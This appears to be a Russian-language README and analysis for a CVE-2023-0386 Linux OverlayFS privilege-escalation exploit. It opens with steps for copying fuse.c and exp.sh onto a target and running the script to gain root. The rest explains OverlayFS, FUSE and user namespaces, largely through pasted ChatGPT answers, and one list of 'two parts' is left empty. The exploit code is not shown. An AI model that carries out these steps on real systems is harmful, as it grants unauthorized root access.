
Очень простой эксплойт и анализ CVE-2023-0386. Использует c и sh.
typora-copy-images-to: ./image
Использование эксплойта:
Первое: Загрузите fuse.c и exp.sh в каталог /tmp.
Вы можете использовать scp или python3 -m http.server для загрузки файла на цель.
scp ~/Desktop/CVE-2023-0386/exp.sh [email protected]:/tmp
scp ~/Desktop/CVE-2023-0386/fuse.c [email protected]:/tmp # ваша машина
или
cd ~/Desktop/CVE-2023-0386
python3 -m http.server # ваша машина
wget your_ip:8000/exp.sh
wget your_ip:8000/fuse.c # цель
Затем:
cd /tmp
/bin/bash exp.sh
Теперь вы root!

Ниже приведён подробный анализ CVE-2023-0386.
Вчера целый день разбирался с этой уязвимостью. Если кратко, то OverlayFS при копировании файла из нижнего слоя в верхний не проверяет, отображён ли пользователь пространства имён нижнего слоя в текущее пространство имён пользователя, что позволяет установить SUID и повысить привилегии.
Звучит абстрактно. Чтобы понять проблему, нужно знать несколько вещей:
ChatGPT: Подробно расскажи об OverlayFS в Linux.
OverlayFS, также известная как Overlay-файловая система, является объединённой файловой системой в ядре Linux. Она позволяет накладывать друг на друга несколько разных файловых систем, образуя единое унифицированное представление. Она была официально принята в ядро начиная с версии Linux 3.18.
OverlayFS имеет три основные компонента: нижняя файловая система (lower filesystem), верхняя файловая система (upper filesystem) и объединённая файловая система (merged filesystem). Их функции:
Нижняя файловая система (lower filesystem): Базовый слой, обычно доступный только для чтения. Все файлы и каталоги изначально берутся из этого слоя.
Верхняя файловая система (upper filesystem): Верхний слой, обычно доступный для записи. Когда мы выполняем операции записи в файловую систему, все изменения сохраняются в этом слое. Если файл существует в нижнем слое, но мы хотим его изменить, то в верхнем слое создаётся его копия, которая затем изменяется. Этот процесс называется «copy-up».
Объединённая файловая система (merged filesystem): Это конечное представление OverlayFS, которое объединяет нижний и верхний слои. При чтении OverlayFS сначала ищет файл в верхнем слое; если не находит, то ищет в нижнем.
Логическая структура выглядит так:
________________
| |
| Merged View |
|________________|
/ \
____________ ____________
| | | |
| Lower | | Upper |
| (read-only)| | (read-write)|
|____________| |____________|
Важное применение OverlayFS — в контейнерных приложениях, особенно в Docker. В Docker каждый слой образа доступен только для чтения и может использоваться как нижняя файловая система для других контейнеров. При запуске нового контейнера Docker создаёт для него новую пустую верхнюю файловую систему. Таким образом, все изменения в контейнере (например, установка нового ПО) влияют только на верхнюю файловую систему, не затрагивая общие слои образов.
Кроме того, поскольку OverlayFS позволяет монтировать несколько нижних файловых систем под одним верхним слоем, можно создавать многослойные файловые системы, что широко используется в Docker при работе со слоями образов.
Если подвести итог: нижний слой только для чтения, верхний — для чтения и записи, объединённый слой объединяет оба и показывает единое представление. Когда мы в объединённом слое изменяем файл, который существует в нижнем слое, но отсутствует в верхнем, нижний файл копируется «как есть» в верхний слой для изменения. Это и есть момент срабатывания уязвимости.
GPT: Ты эксперт по ядру Linux. Теперь подробно объясни, что такое FUSE.
FUSE (Filesystem in Userspace) — это механизм для создания файловых систем в пользовательском пространстве. Это интерфейс, предоставляемый ядром Linux, который позволяет разрабатывать и запускать собственные файловые системы без изменения кода ядра.
Основная цель FUSE — упростить разработку и использование новых файловых систем. С помощью FUSE вы можете создавать собственные файловые системы, не углубляясь в тонкости многих API ядра. Это полезно для отладки, быстрого прототипирования, научных исследований, реализации очень специфичных файловых систем (например, прозрачного шифрования, сетевых файловых систем) и т.д.
В FUSE большая часть логики файловой системы выполняется в пользовательском пространстве. Это упрощает разработку, поскольку пользовательское пространство предоставляет более удобную среду: вы можете использовать любой понравившийся язык программирования, у вас больше библиотек, проще обработка ошибок и т.д. С другой стороны, это означает, что файловые системы FUSE обычно медленнее, чем файловые системы в пространстве ядра, поскольку им приходится часто переключать контекст между пользовательским и ядерным пространствами.
Файловая система FUSE обычно состоит из двух частей:
При разработке файловой системы FUSE вам нужно реализовать ряд функций обратного вызова, соответствующих различным файловым операциям: открытие файла, чтение файла, запись файла и т.д. Когда эти операции происходят, модуль ядра FUSE вызывает соответствующие функции обратного вызова и возвращает результат вызывающему.
В целом, FUSE предоставляет мощную среду для реализации файловых систем в пользовательском пространстве, упрощает их разработку и позволяет расширять и модифицировать файловые системы модульным образом.
По сути, Fuse позволяет пользователю определить собственную файловую систему и файлы внутри неё.
Для этого нужно писать код на C, используя библиотеку FUSE.
Ты эксперт по ядру Linux. Что такое пользовательское пространство имён?
В Linux «пространства имён» (namespaces) — это механизм ядра, который позволяет изолировать представление процессов, так что процесс видит только ресурсы, принадлежащие тому же пространству имён. Каждый тип пространства имён соответствует определённому типу ресурсов. Например, пространство имён PID (Process ID) изолирует идентификаторы процессов, пространство имён Net — сетевые интерфейсы и стек, пространство имён Mount — точки монтирования файловых систем и т.д.
Пользовательское пространство имён (User Namespaces) — один из типов пространств имён Linux, предназначенный в первую очередь для изоляции идентификаторов пользователей и групп. Каждое пользовательское пространство имён имеет свой собственный набор идентификаторов пользователей и групп. Например, процесс в пространстве имён A может работать как root (UID 0), но в пространстве имён B этот же процесс может быть обычным пользователем.
Преимущество такого подхода в том, что даже если процесс обладает root-правами в своём пользовательском пространстве имён, он не может повлиять на ресурсы других пользовательских пространств имён, так как в них он может быть обычным пользователем. Это значительно повышает безопасность системы: даже если контейнер (который, по сути, представляет собой набор процессов, работающих в собственных пространствах имён) будет атакован, злоумышленник не сможет повлиять на хостовую систему или другие контейнеры.